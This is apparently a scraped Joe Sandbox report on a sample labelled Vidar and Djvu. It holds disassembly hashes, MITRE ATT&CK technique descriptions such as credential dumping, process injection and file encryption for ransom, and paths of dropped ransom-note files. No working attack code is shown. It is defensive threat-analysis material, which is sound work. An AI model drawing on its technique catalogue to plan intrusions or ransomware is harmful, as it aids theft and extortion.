Opcode ID: bee131cae62505d5b27d92a2cf2c3683ee6202f618915eea824bf027ad2811f5
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: bee131cae62505d5b27d92a2cf2c3683ee6202f618915eea824bf027ad2811f5
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2146874801.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2146874801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_n8XBpFdVFU.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report n8XBpFdVFU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\_README.txt

C:\ProgramData\GHDBKJKJKKJDGDGDGIDGIIDAAK

C:\ProgramData\KECBKKEB

C:\SystemID\PersonalID.txt

C:\Users\user\.curlrc

C:\Users\user\.curlrc.bgjs (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgjs (copy)

Windows Analysis Report
n8XBpFdVFU.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre